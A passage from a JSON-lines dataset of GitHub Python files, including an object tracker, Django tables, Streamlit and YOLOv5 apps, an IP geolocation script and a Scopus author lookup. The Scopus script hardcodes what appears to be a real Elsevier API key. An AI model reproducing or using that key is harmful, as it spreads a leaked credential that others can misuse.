rectangles\n # is empty \n if len(dets)==0:\n # loop over any existing tracked objects and mark them\n # as disappeared\n for objectID in list(self.disappeared.keys()):\n if self.disappeared[objectID]>=0:\n self.disappeared[objectID] += 1\n\n # if we have reached a maximum number of consecutive\n # frames where a given object has been marked as\n # missing, or if we're pre-registered, deregister it\n if self.disappeared[objectID]<0 or self.disappeared[objectID]>self.maxDisappeared:\n self.deregister(objectID)\n\n # return early as there are no centroids or tracking info\n # to update\n return self.mostLikelyState(showDisappeared)\n\n classScores = []\n # initialize an array of input centroids for the current frame\n if self.classSwitch:\n inputBoxes = np.zeros((len(dets), 4), dtype=int)\n else:\n inputBoxes = np.zeros((len(dets), 5), dtype=int)\n\n # loop over the bounding box rectangles\n for i, det in enumerate(dets):\n if self.classSwitch:\n inputBoxes[i] = det['box']\n else:\n # use the bounding box coordinates to derive the centroid\n # Add class index so we can use the class index to match between images.\n # Use 10000 multiplier because this exceeds all likely image resolutions \n # and distances within the image. \n inputBoxes[i] = det['box'] + [det['index']*10000]\n classScores.append((det['class'], det['score']))\n # if we are currently not tracking any objects take the input\n # centroids and register each of them\n if len(self.objects) == 0:\n for i in range(0, len(inputBoxes)):\n if classScores[i][1]>=self.threshold:\n self.register(inputBoxes[i], classScores[i])\n # otherwise, are are currently tracking objects so we need to\n # try to match the input centroids to existing object\n # centroids\n else:\n # grab the set of object IDs and corresponding centroids\n objectIDs = list(self.objects.keys())\n objectBoxes = np.array(list(self.objects.values()))\n\n # compute the distance between each pair of object\n # centroids and input centroids, respectively -- our\n # goal will be to match an input centroid to an existing\n # object centroid\n if self.classSwitch:\n objectCentroids = np.vstack(((objectBoxes[:, 0] + objectBoxes[:, 2])/2, (objectBoxes[:, 1] + objectBoxes[:, 3])/2)).T\n inputCentroids = np.vstack(((inputBoxes[:, 0] + inputBoxes[:, 2])/2, (inputBoxes[:, 1] + inputBoxes[:, 3])/2)).T\n else:\n objectCentroids = np.vstack(((objectBoxes[:, 0] + objectBoxes[:, 2])/2, (objectBoxes[:, 1] + objectBoxes[:, 3])/2, objectBoxes[:, 4])).T\n inputCentroids = np.vstack(((inputBoxes[:, 0] + inputBoxes[:, 2])/2, (inputBoxes[:, 1] + inputBoxes[:, 3])/2, inputBoxes[:, 4])).T\n D = dist.cdist(objectCentroids, inputCentroids)\n # in order to perform this matching we must (1) find the\n # smallest value in each row and then (2) sort the row\n # indexes based on their minimum values so that the row\n # with the smallest value as at the *front* of the index\n # list\n rows = D.min(axis=1).argsort()\n\n # next, we perform a similar process on the columns by\n # finding the smallest value in each column and then\n # sorting using the previously computed row index list\n cols = D.argmin(axis=1)[rows]\n\n # in order to determine if we need to update, register,\n # or deregister an object we need to keep track of which\n # of the rows and column indexes we have already examined\n usedRows = set()\n usedCols = set()\n\n # loop over the combination of the (row, column) index\n # tuples\n for (row, col) in zip(rows, cols):\n # if we have already examined either the row or\n # column value before, ignore it\n if row in usedRows or col in usedCols:\n continue\n\n # if the distance between centroids is greater than\n # the maximum distance, do not associate the two\n # centroids to the same object\n if D[row, col] > self.maxDistance:\n continue\n\n # otherwise, grab the object ID for the current row,\n # set its new centroid, and reset the disappeared\n # counter\n objectID = objectIDs[row]\n self.objects[objectID] = inputBoxes[col]\n self.classScore0[objectID] = classScores[col]\n self.classHistory[objectID].insert(0, classScores[col])\n if len(self.classHistory[objectID])>self.maxClassHistory:\n self.classHistory[objectID] = self.classHistory[objectID][0:self.maxClassHistory]\n if self.disappeared[objectID]<0:\n self.disappeared[objectID] += 1\n else:\n self.disappeared[objectID] = 0\n # indicate that we have examined each of the row and\n # column indexes, respectively\n usedRows.add(row)\n usedCols.add(col)\n\n # compute both the row and column index we have NOT yet\n # examined\n unusedRows = set(range(0, D.shape[0])).difference(usedRows)\n unusedCols = set(range(0, D.shape[1])).difference(usedCols)\n\n # we need to check and see if some of these objects have\n # potentially disappeared\n # loop over the unused row indexes\n for row in unusedRows:\n # grab the object ID for the corresponding row\n # index and increment the disappeared counter\n objectID = objectIDs[row]\n if self.disappeared[objectID]>=0:\n self.disappeared[objectID] += 1\n\n # check to see if the number of consecutive\n # frames the object has been marked \"disappeared\"\n # for warrants deregistering the object\n if self.disappeared[objectID]<0 or self.disappeared[objectID]>self.maxDisappeared:\n self.deregister(objectID)\n\n # if the number of input centroids is greater\n # than the number of existing object centroids we need to\n # register each new input centroid as a trackable object\n for col in unusedCols:\n if classScores[col][1]>=self.threshold:\n self.register(inputBoxes[col], classScores[col])\n\n\n self.removeOverlaps()\n # return the set of trackable objects\n return self.mostLikelyState(showDisappeared)\n\n def setThreshold(self, threshold):\n self.threshold = threshold\n","repo_name":"charmedlabs/kritter","sub_path":"src/kritter/detectiontracker.py","file_name":"detectiontracker.py","file_ext":"py","file_size_in_byte":12961,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"27934134498","text":"import django_tables2 as tables\nfrom django_tables2 import A\nfrom .models import V2OfCampaigns, Measurements\n\n\nclass CampaignsTable(tables.Table):\n class Meta:\n model = V2OfCampaigns\n attrs = {\"class\": \"table table-bordered table-hover\", \"id\": \"bootstrap-table\"}\n sequence = ('id', 'name', '...')\n row_attrs = {\n 'data-formatter': \"operateFormatter\",\n 'data-events': \"operateEvents\"\n }\n\n empty_text = \"There are no campaigns matching the search criteria...\"\n\n\nclass MNOsTable(tables.Table):\n class Meta:\n model = Measurements\n attrs = {\"class\": \"table table-bordered table-hover\", \"id\": \"bootstrap-table\"}\n row_attrs = {\n 'data-formatter': \"operateFormatter\",\n 'data-events': \"operateEvents\"\n }\n\n\nclass NetworksTable(tables.Table):\n class Meta:\n model = Measurements\n attrs = {\"class\": \"table table-bordered table-hover\", \"id\": \"bootstrap-table\"}\n row_attrs = {\n 'data-formatter': \"operateFormatter\",\n 'data-events': \"operateEvents\"\n }\n template_name = 'django_tables2/bootstrap.html'","repo_name":"mKorniotakis/V2ofDjango","sub_path":"mysite/myapp/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12398919123","text":"import functionsDynamo\nimport pandas as pd\nimport streamlit as st\nimport time\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport os\nfrom datetime import datetime\nfrom dateutil.relativedelta import *\nst.set_page_config(\n page_title=\"PENI CHARTS\",\n #page_icon=\"P\",\n layout=\"wide\",\n initial_sidebar_state=\"expanded\",\n menu_items=None\n)\nhide_streamlit_style = \"\"\"\n \n \"\"\"\nst.markdown(hide_streamlit_style, unsafe_allow_html=True)\nactivos = functionsDynamo.get_tables()\ncol1, col2, col3 = st.columns(3)\nwith col1:\n filtro_activo = st.selectbox(\"ACTIVOS\",options=activos)\nwith col2:\n ini = st.date_input(\n \"Desde\",\n datetime.date((datetime.now()+ relativedelta(days=-1))))\nwith col3:\n fin = st.date_input(\n \"Hasta\",\n datetime.date(datetime.now()))\n\n\n\n\nsini = str(ini)\nsfin = str(fin)\n\nplaceholder = st.empty()\nwhile True:\n with placeholder.container():\n data_activo = pd.DataFrame(functionsDynamo.get_chart(filtro_activo,sini,sfin)).sort_values('OpenTime')\n #data_activo = data_activo.drop(0)\n\n fig = go.Figure()\n\n fig.add_trace(go.Candlestick(x=data_activo[\"OpenTime\"], open=data_activo[\"Open\"], high=data_activo[\"High\"], low=data_activo[\"Low\"], close=data_activo[\"Close\"]))\n #fig.add_trace(go.Histogram(x=data_activo[7]))\n fig.update_layout(\n #xaxis_title='Tiempo',\n #yaxis_title='Precio',\n\n height = 750,\n margin=dict(l=0, r=0, t=0, b=0,pad=0),\n xaxis_rangeslider_visible=False)\n fig.update_yaxes(automargin='left+top+right',ticklabelposition=\"inside\")\n #fig.update_xaxes(automargin='left+right')\n configs = dict({'modeBarButtonsToAdd':['drawline',\n 'drawopenpath',\n 'drawcircle',\n 'drawrect',\n 'eraseshape',\n ],'scrollZoom': True})\n st.plotly_chart(fig,use_container_width=True,config=configs)\n time.sleep(3)\n\n\n","repo_name":"caspero94/SECSGO","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30767481901","text":"##Product of Array Except Self\n##Given an array of n integers where n > 1, nums,return an array output such that\n##output[i] is equal to the product of all the elements of nums except nums[i].\n##Solve it without division and in O(n).\n\n##2015年8月22日 10:41:08 AC\n##zss\n\nclass Solution(object):\n def productExceptSelf(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n if not nums:return nums\n up=[1]\n down=[1]\n for i in range(1,len(nums)):\n up.append(up[-1]*nums[i-1])\n for i in range(len(nums)-2,-1,-1):\n down.append(down[-1]*nums[i+1])\n down=down[::-1]\n up = [up[i]*down[i] for i in range(len(up))]\n return up\n","repo_name":"zingzheng/LeetCode_py","sub_path":"238Product of Array Except Self.py","file_name":"238Product of Array Except Self.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73779367554","text":"# isalpha\n# islower\n# isupper\n# isspace\n# isalnum\n# isdecimal\n# isdigit\n# isnumeric\n# isidentifier\n# isprintable\n\n# 데이터에는 항상 오류가 있을 것이라고 판단할 것!\n\nheight = input(\"height : \")\nif height.isnumeric(): # true면 1 , false명 0\n print(\"height : \", height)\nelse:\n print(\"only numeric number please\")","repo_name":"kimminji1013/workspace_IoT","sub_path":"python/기본서/chapter08_문자열관리/etc_mothod.py","file_name":"etc_mothod.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73145859074","text":"'''\n 有道原词典需要转换一下json格式\n'''\nimport json\n\nyoudao_book = 'YouDao.json' # 有道源文件\nturn_book = 'wordbook.json' # 转化格式保存至wordbook.json\n\n# 格式转换(win如果提示编码错误或音标ukphone乱码,用linux转)\nwith open ( youdao_book, 'r' ) as f1, open ( turn_book, 'a+' ) as f2:\n f2.writelines ( '[' )\n for line in f1:\n f2.writelines ( line + ',' )\n f2.writelines ( ']' )\n\n# 转完格式后,手动删除一下最后一行”,“。注释10~14,解注释17~33,遍历一遍例句和读音,如果甩错,查看 fix_keys.py 纠正错误\n# with open ( turn_book, encoding='utf-8' ) as f:\n# get_data = json.load ( f )\n#\n# for i in get_data:\n# # 单词序号\n# print ( i[ 'wordRank' ] )\n# # 单词\n# print ( i[ 'headWord' ] )\n# # 词义\n# print ( i[ \"content\" ][ 'word' ][ 'content' ][ 'trans' ] )\n# # 例句\n# print ( i[ 'content' ][ 'word' ][ 'content' ][ 'sentence' ][ 'sentences' ][ 0 ] )\n# # 英标\n# print ( i[ 'content' ][ 'word' ][ 'content' ][ 'ukphone' ] )\n# # 读音\n# print ( i[ \"content\" ][ 'word' ][ 'content' ][ 'ukspeech' ] )\n","repo_name":"GC-ZF/nonebot_plugin_wordsnorote","sub_path":"turn_json.py","file_name":"turn_json.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"42078525588","text":"\nimport io\nimport os\nimport sys\nimport unittest\n\nif 'PYUV_INSIDE_TOX' not in os.environ:\n sys.path.insert(0, '../')\n\nimport pyuv\n\n\nif sys.version_info >= (3,):\n linesep = os.linesep.encode()\n StdBufferIO = io.StringIO\n\n def reraise(typ, value, tb):\n if value.__traceback__ is not tb:\n raise value.with_traceback(tb)\n raise value\nelse:\n linesep = os.linesep\n\n class StdBufferIO(io.BytesIO):\n def write(self, data):\n return super(StdBufferIO, self).write(data.encode('utf-8'))\n\n exec(\"\"\"\\\ndef reraise(typ, value, tb):\n raise typ, value, tb\n\"\"\")\n\n\nplatform = 'linux' if sys.platform.startswith('linux') else sys.platform\n\n# decorator for class\ndef platform_skip(platform_list):\n def _noop(obj):\n return obj\n if platform in platform_list:\n return unittest.skip(\"Test disabled in the current platform\")\n return _noop\n\n# decorator for class\ndef platform_only(platform_list):\n def _noop(obj):\n return obj\n if platform not in platform_list:\n return unittest.skip(\"Test disabled in the current platform\")\n return _noop\n\n\nclass TestLoop(pyuv.Loop):\n\n def __init__(self):\n super(TestLoop, self).__init__()\n self.excepthook = self._handle_exception_in_callback\n\n def run(self, *args, **kwargs):\n self._callback_exc_info = None\n super(TestLoop, self).run(*args, **kwargs)\n self._reraise()\n\n def _handle_exception_in_callback(self, typ, value, tb):\n if self._callback_exc_info is None:\n self._callback_exc_info = typ, value, tb\n self.stop()\n\n def _reraise(self):\n if self._callback_exc_info is not None:\n typ, value, tb = self._callback_exc_info\n self._callback_exc_info = None\n reraise(typ, value, tb)\n\n\nclass TestCase(unittest.TestCase):\n\n def setUp(self):\n self.loop = TestLoop()\n\n def tearDown(self):\n for handle in self.loop.handles:\n try:\n handle.close()\n except:\n pass\n self.loop.run()\n","repo_name":"saghul/pyuv","sub_path":"tests/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":1111,"dataset":"github-code","pt":"61"} +{"seq_id":"31606248111","text":"import requests\nimport json\n \n#Scopus Author Retrieval API\n#This method allows you to choose which attribute you wish to retrieve based on the author retrieval views from Elsevier Developers\ndef getAuthorInfo():\n url = (\"https://api.elsevier.com/content/author/author_id/36629511500?field=h-index,document-count,cited-by-count,citations-count,coauthor-count,surname,given-name,affiliation-name,prism:coverDate\" )\n resp = requests.get(url, headers= {'Accept' : 'application/json',\n 'X-ELS-APIKEY': '27e18faa69686d68b0e5878262f218c8' })\n print(json.loads(resp.text.encode('utf-8')))\n\n # with open(\"scopus_author_data_36629511500.json\", \"w\") as write_file:\n # json.dump(resp.json(), write_file)\n\n return json.loads(resp.text.encode('utf-8'))\n\ngetAuthorInfo()","repo_name":"homelearner69/TeachingandCitationDashboard","sub_path":"scopusRetrievalViews.py","file_name":"scopusRetrievalViews.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29491846242","text":"import random\r\nimport inv_utils\r\nclass Strategy:\r\n\tdef __init__(self):\r\n\t\tself.title_ = \"[Example] Randomly fill gc pairs\"\r\n\t\tself.author_ = \"Example\"\r\n\t\tself.url_ = \"http://getsatisfaction.com/eternagame/topics/_strategy_market_example_60_of_pairs_must_be_gc_pairs-1erc6\"\r\n\t\tself.code_length_ = 1\r\n\t\tself.publishable_ = True\r\n\t\t\r\n\tdef solve(self, design):\r\n\t\tbases=inv_utils.BASES\r\n\t\trandom.seed()\r\n\t\telements = design['secstruct_elements']\r\n\t\ttarget_pair = design['secstruct']\r\n\t\tpair_map = design['pairmap']\r\n\t\tlength = len(target_pair)\r\n\t\tsequence = ['A']*length\r\n\t\tnatural_pair = \"\"\r\n\t\twhile(natural_pair != target_pair):\r\n\t\t\tfor elem in elements:\r\n\t\t\t\tinv_utils.fill_gc(elem, pair_map , sequence, random)\r\n\t\t\tret = inv_utils.fold(sequence)\r\n\t\t\tnatural_pair = ret[0]\r\n\t\treturn sequence","repo_name":"zhuoyuzhang/RNAMake","sub_path":"rnamake/eternabot/rna_inv_strategies/example_gc.py","file_name":"example_gc.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21946105723","text":"import os\nimport re\n\n\ndef check(fpath: str):\n p = re.compile(r'(\\d*.\\d*)/(\\d*.\\d*)\\s*=== Program')\n with open(fpath) as f:\n for line in f.readlines():\n m = re.match(p, line)\n if m:\n return m.group(2)\n\n\ndef check_dir(dpath: str):\n p = re.compile(r'examples-(\\d\\d).*')\n for f in os.listdir(dpath):\n m = p.match(f)\n if m:\n number = m.group(1)\n time = check(f'{dpath}/{f}')\n yield (number, time)\n\n\ndef display(dpath):\n res = list(check_dir(dpath))\n\n for number, time in sorted(res):\n if time:\n print(f'{number}\\t{time}')\n else:\n print(f'{number}\\t#N/A\\t#N/A\\t#N/A')\n\n total_solved = len(list(filter(lambda x: x[1], res)))\n print(f'Total solved: {total_solved}')\n","repo_name":"rodamber/msc-thesis","sub_path":"code/dataset/whole_check_solved.py","file_name":"whole_check_solved.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42926327505","text":"#Import dependencies\nimport os\nimport csv\n\n\n#Set path\ndata_path = os.path.join(\"Resources\", \"election_data.csv\")\n\noutput_file = os.path.join(\"Analysis\", \"election_Analysis.txt\")\n\n#Set variables to calculate and list for votes,percentages,names\ntotal_vote = 0\ncandidates = \"\"\n\nlist = {}\n\nvotes_won = 0\nwinner = \"\"\n\n#Open and read CSV\nwith open(data_path) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=\",\")\n csv_header = next(csv_reader)\n\n for row in csv_reader:\n #Row count of votes\n total_vote = total_vote + 1\n\n #Total candidates who recieved votes and votes on for each\n candidates = row[2]\n if candidates in list:\n list[candidates] += 1\n else:\n list[candidates] = 1\n\nprint(f\"```text\")\nprint(f\"Election Results\")\nprint(f\"-----------------------------\")\nprint(f\"Total Votes: {total_vote}\")\nprint(f\"------------------------------\")\n\noutput = (\n f\"```text\\n\"\n f\"Election Results\\n\"\n f\"-----------------------------\\n\"\n f\"Total Votes: {total_vote}\\n\"\n f\"------------------------------\\n\"\n)\n\nwith open(output_file, \"w\") as datafile:\n datafile.write(output)\n\n#Percentage of votes won\nfor individual in list:\n percentage = (list[candidates]/total_vote)*100\n\n print(f\"{individual}: {percentage:.3f}% ({list[candidates]})\\n\")\n\n output_two = (f\"{individual}: {percentage:.3f}% ({[candidates]})\\n\")\n\n #Winner based on most votes\n if list[candidates] > votes_won:\n votes_wone = list[candidates]\n winner = candidates \n\n with open(output_file, \"a\") as datafile:\n datafile.write(output_two)\n\n\noutput_three = (\n f\"-----------------------------\\n\"\n f\"Winner: {winner}\\n\"\n f\"-----------------------------\\n\"\n f\"```\\n\"\n)\nprint(output_three)\n\nwith open(output_file, \"a\") as datafile:\n datafile.write(output_three)","repo_name":"Master-Leo/Python-Challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23614761141","text":"filename = 'large'\r\n\r\nsecond = None\r\naction = None\r\n\r\nclass Robo(object):\r\n def __init__(self, actions, buttons):\r\n self.actions = actions\r\n self.buttons = buttons\r\n self.position = 1\r\n \r\n def done(self):\r\n return len(self.actions) == 0\r\n \r\n def step(self):\r\n if self.done():\r\n return False\r\n global second\r\n global action\r\n if self.position != self.buttons[0]:\r\n if self.position < self.buttons[0]:\r\n self.position += 1\r\n else:\r\n self.position -= 1\r\n elif action == self.actions[0]:\r\n self.actions.pop(0)\r\n self.buttons.pop(0)\r\n return True\r\n return False\r\n\r\ndef solve(moves):\r\n Ba = []\r\n Bb = []\r\n Oa = []\r\n Ob = []\r\n i = 1\r\n while moves != []:\r\n tmp = moves.pop(0)\r\n if tmp == 'B':\r\n Ba.append(i)\r\n Bb.append(int(moves.pop(0)))\r\n elif tmp == 'O':\r\n Oa.append(i)\r\n Ob.append(int(moves.pop(0)))\r\n i += 1\r\n B = Robo(Ba, Bb)\r\n O = Robo(Oa, Ob)\r\n global second\r\n global action\r\n second = 0\r\n action = 1\r\n while not B.done() or not O.done():\r\n second += 1\r\n tmp1 = B.step()\r\n tmp2 = O.step()\r\n if tmp1 or tmp2:\r\n action += 1\r\n return second\r\n\r\ndef main():\r\n file_in = open('A-%s.in' % filename)\r\n file_out = open('A-%s.out' % filename, 'w')\r\n cases = int(file_in.readline().strip())\r\n for case in xrange(1, cases + 1):\r\n result = solve(file_in.readline().strip().split(' ')[1:])\r\n file_out.write('Case #%d: %s\\n' % (case, result))\r\n file_out.close()\r\n file_in.close()\r\n return\r\n\r\nif __name__ == '__main__':\r\n main()\r\n import sys\r\n sys.exit(0)\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_74/566.py","file_name":"566.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25031489998","text":"import altair as alt\nimport pandas as pd\n\n\nokc = pd.read_csv('denver_avgtemp.csv')\nchart_okc = alt.Chart(okc).mark_line().encode(\n x=alt.X('year:Q',scale=alt.Scale(domain=(1930,1936))),\n y=alt.Y('avg_temp:Q', scale=alt.Scale(reverse=True, domain=(7.5,11)))\n).interactive()\n\nchart_okc_normal = alt.Chart(okc).mark_line().encode(\n x='year:Q',\n y='avg_temp:Q'\n).interactive()\n\nchart_all = alt.concat(chart_okc, chart_okc_normal)\n\nchart_all.show()","repo_name":"Joac1137/black_hat_vis","sub_path":"reverse_tendency.py","file_name":"reverse_tendency.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10662247054","text":"import ipaddress\nimport os\nimport requests\nimport socket\nimport sys\nfrom ip2geotools.databases.noncommercial import DbIpCity\n\n\ndef printDetails(ip):\n res = DbIpCity.get(ip, api_key=\"free\")\n print(f'\"{res.ip_address}\",\"{res.country}\",\"{res.region}\",\"{res.city}\"')\n\nif __name__ == \"__main__\":\n # Check for command line arg\n if len(sys.argv) !=2:\n print(\"Error- this program requires the following usage:\\n\")\n print(\" python ip2country.py IP_ADDRESS_LIST_FILENAME.txt\")\n exit(-1)\n \n filename=sys.argv[1]\n\n if os.path.exists(filename):\n # Get list of IPs from text file\n ip_list = []\n\n with open(filename, encoding=\"UTF-8\") as ip_file:\n for line in ip_file:\n # Check line looks like an IP\n try:\n line = line.lstrip().rstrip()\n new_ip = ipaddress.ip_address(line)\n ip_list.append(line)\n print(f\"added {line}\")\n\n except ValueError as v:\n print(v)\n exit(-3)\n\n print(f\"{len(ip_list)} ip addresses added for lookup.\")\n\n for ip in ip_list:\n printDetails(ip)\n else:\n print(f\"IP address list file: {filename} does not exist. Exiting.\")\n exit(-2)","repo_name":"gsleap/ip2country","sub_path":"ip2country.py","file_name":"ip2country.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17601435614","text":"\"\"\".. Line to protect from pydocstyle D205, D400.\n\nCluster sites\n-------------\n\nMerge adjacent cross-linked sites into clusters.\n\nRead bedGraph with (significant) cross-linked sites. Cluster together sites that\nare apart at most a specified number of nucleotides. Return BED file with\nclusters' coordinates.\n\"\"\"\nimport logging\nimport os\n\nimport pybedtools\n\nimport iCount\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef _fix_proper_bed6_format(feature):\n \"\"\"\n Take a feature and convert it to BED6 format.\n\n http://bedtools.readthedocs.io/en/latest/content/general-usage.html\n \"\"\"\n chrom = feature.chrom\n start = feature.start\n end = feature.stop\n name = feature.strand\n score = feature.score\n strand = feature.name\n return pybedtools.create_interval_from_list(\n [chrom, start, end, name, score, strand])\n\n\ndef run(sites, clusters, dist=20): # , extend=0):\n \"\"\"\n Join neighboring cross-linked sites into clusters.\n\n Score of cluster is the sum of all its element scores.\n\n Parameters\n ----------\n sites : str\n Path to input BED6 file with sites.\n clusters : str\n Path to output BED6 file with merged sites.\n dist : int\n Distance between two cross_links to still merge them.\n\n Returns\n -------\n str\n BED file with clusters as elements.\n\n \"\"\"\n iCount.log_inputs(LOGGER, level=logging.INFO)\n\n # It is required to pre-sort your data:\n sites = pybedtools.BedTool(sites).sort().saveas()\n\n LOGGER.info('Merging cross links form file %s', sites)\n merged = sites.merge(s=True, d=dist, c=[5, 4], o='sum,distinct').saveas()\n out = merged.sort().each(_fix_proper_bed6_format).saveas(clusters)\n\n LOGGER.info('Done. Results saved to: %s', os.path.abspath(out.fn))\n return out.fn\n","repo_name":"markrobinsonuzh/iCount","sub_path":"iCount/analysis/clusters.py","file_name":"clusters.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"23564662581","text":"# Google Code Jam Contest\n# @L01cDev\n# Author: Loic Boyeldieu\n# Date: 08-04-2017\n\ndef intToArr(N):\n arr = []\n while(N>0):\n arr.append(N%10)\n N = N/10\n return list(reversed(arr))\n\ndef removeLeadingZero(N):\n leading = True\n index = 0\n while(leading):\n if N[index] == 0:\n index+=1\n else:\n leading = False\n return N[index:]\n\ndef tidyNumber(N):\n changement = -1\n for i in range(0, len(N)-1):\n if N[i]>N[i+1]:\n changement = i\n break\n while changement>=1 and N[changement]==N[changement-1]:\n changement -= 1\n if changement != -1:\n N[changement] -= 1\n for i in range(changement+1, len(N)):\n N[i] = 9\n\n N = removeLeadingZero(N)\n N = [str(i) for i in N]\n result = \"\".join(N)\n return result\n\n\n\nT = int(raw_input())\nfor i in range(1, T + 1):\n N = int(raw_input())\n result = tidyNumber(intToArr(N))\n print(\"Case #{}: {}\".format(i, result))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/547.py","file_name":"547.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39228037496","text":"from pathlib import Path\nimport streamlit as st\nimport os\nimport argparse\nfrom PIL import Image\nimport pandas as pd\nfrom yolov5.detect import run\ndef get_subdirs(b='.'):\n '''\n Returns all sub-directories in a specific Path\n '''\n result = []\n for d in os.listdir(b):\n bd = os.path.join(b, d)\n if os.path.isdir(bd):\n result.append(bd)\n return result\n\n\ndef get_detection_folder():\n '''\n Returns the latest folder in a runs\\detect\n '''\n return max(get_subdirs(os.path.join('yolov5','runs', 'detect')), key=os.path.getmtime)\n\n\nif __name__ == '__main__':\n\n st.title('Application YOLOv5 Streamlit')\n st.sidebar.image(str(Path(f'{\"Static/octo-2.png\"}')), width=None, use_column_width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n source = (\"Image\",\"Real Time\")\n source_index = st.sidebar.selectbox(\"Image\", range(\n len(source)), format_func=lambda x: source[x])\n \n \n conf_thres = st.sidebar.slider(\n 'Confidence', 0.00, 1.00, 0.5\n )\n\n\n \n data, prediction = st.columns(2)\n \n if source_index == 0:\n uploaded_file = st.sidebar.file_uploader(\n \"Image\", type=['png', 'jpeg', 'jpg'])\n if uploaded_file is not None:\n is_valid = True\n with st.spinner(text='Uploading...'):\n with data:\n st.image(uploaded_file, caption='Image source', width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n picture = Image.open(uploaded_file)\n picture = picture.save(f'data/images/{uploaded_file.name}')\n source = f'data/images/{uploaded_file.name}'\n else:\n is_valid = False\n else:\n is_valid = False\n stop=False\n \n if st.sidebar.button(\"Start tracking\"):\n st.header('Appuyer sur Q quand vous êtes terminé')\n run(source=0,weights='Static/weights-final.pt',stop=stop)\n \n\n \n if is_valid:\n print('valid')\n run(source=source,weights='Static/weights-final.pt',conf_thres=conf_thres)\n\n \n with st.spinner(text='Preparing Images'):\n for img in os.listdir(get_detection_folder()):\n with prediction:\n st.image(str(Path(f'{get_detection_folder()}') / img),caption='Prediction ', width=None, use_column_width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n\n \n \n st.image(str(Path(f'{\"Static/confusion_matrix.png\"}')), caption='Confusion matrix', width=None, use_column_width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n col1, col2 = st.columns(2)\n st.line_chart(pd.read_csv (\"Static/results.csv\",usecols=[1,2,3,4,5,6]))\nwith col1:\n \n st.image(str(Path(f'{\"Static/F1_curve.png\"}')), caption='F1_curve', width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n st.image(str(Path(f'{\"Static/P_curve.png\"}')), caption='P_curve ', width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\nwith col2:\n\n st.image(str(Path(f'{\"Static/PR_curve.png\"}')), caption='PR_curve ', width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n st.image(str(Path(f'{\"Static/R_curve.png\"}')), caption='R_curve ', width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n\ncol3, col4 = st.columns(2)\nwith col3:\n st.header('Annnotations')\n st.image(str(Path(f'{\"Static/val_batch0_labels.jpg\"}')), width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n st.image(str(Path(f'{\"Static/val_batch1_labels.jpg\"}')), width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n\n st.image(str(Path(f'{\"Static/val_batch2_labels.jpg\"}')), width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\nwith col4:\n st.header('Prédictions')\n\n st.image(str(Path(f'{\"Static/val_batch0_pred.jpg\"}')), width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n st.image(str(Path(f'{\"Static/val_batch1_pred.jpg\"}')), width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n st.image(str(Path(f'{\"Static/val_batch2_pred.jpg\"}')), width=None, clamp=False, channels=\"RGB\", output_format=\"auto\")\n","repo_name":"Ismaillbazri/Yolov5-banana-ripness-detection-Streamlit-application","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24357456570","text":"# Task2: A white noise WAV sound sample of 3 seconds (70 points)\nimport struct\nimport wave\nimport requests\n\ndef get_randint(size, min_bound, 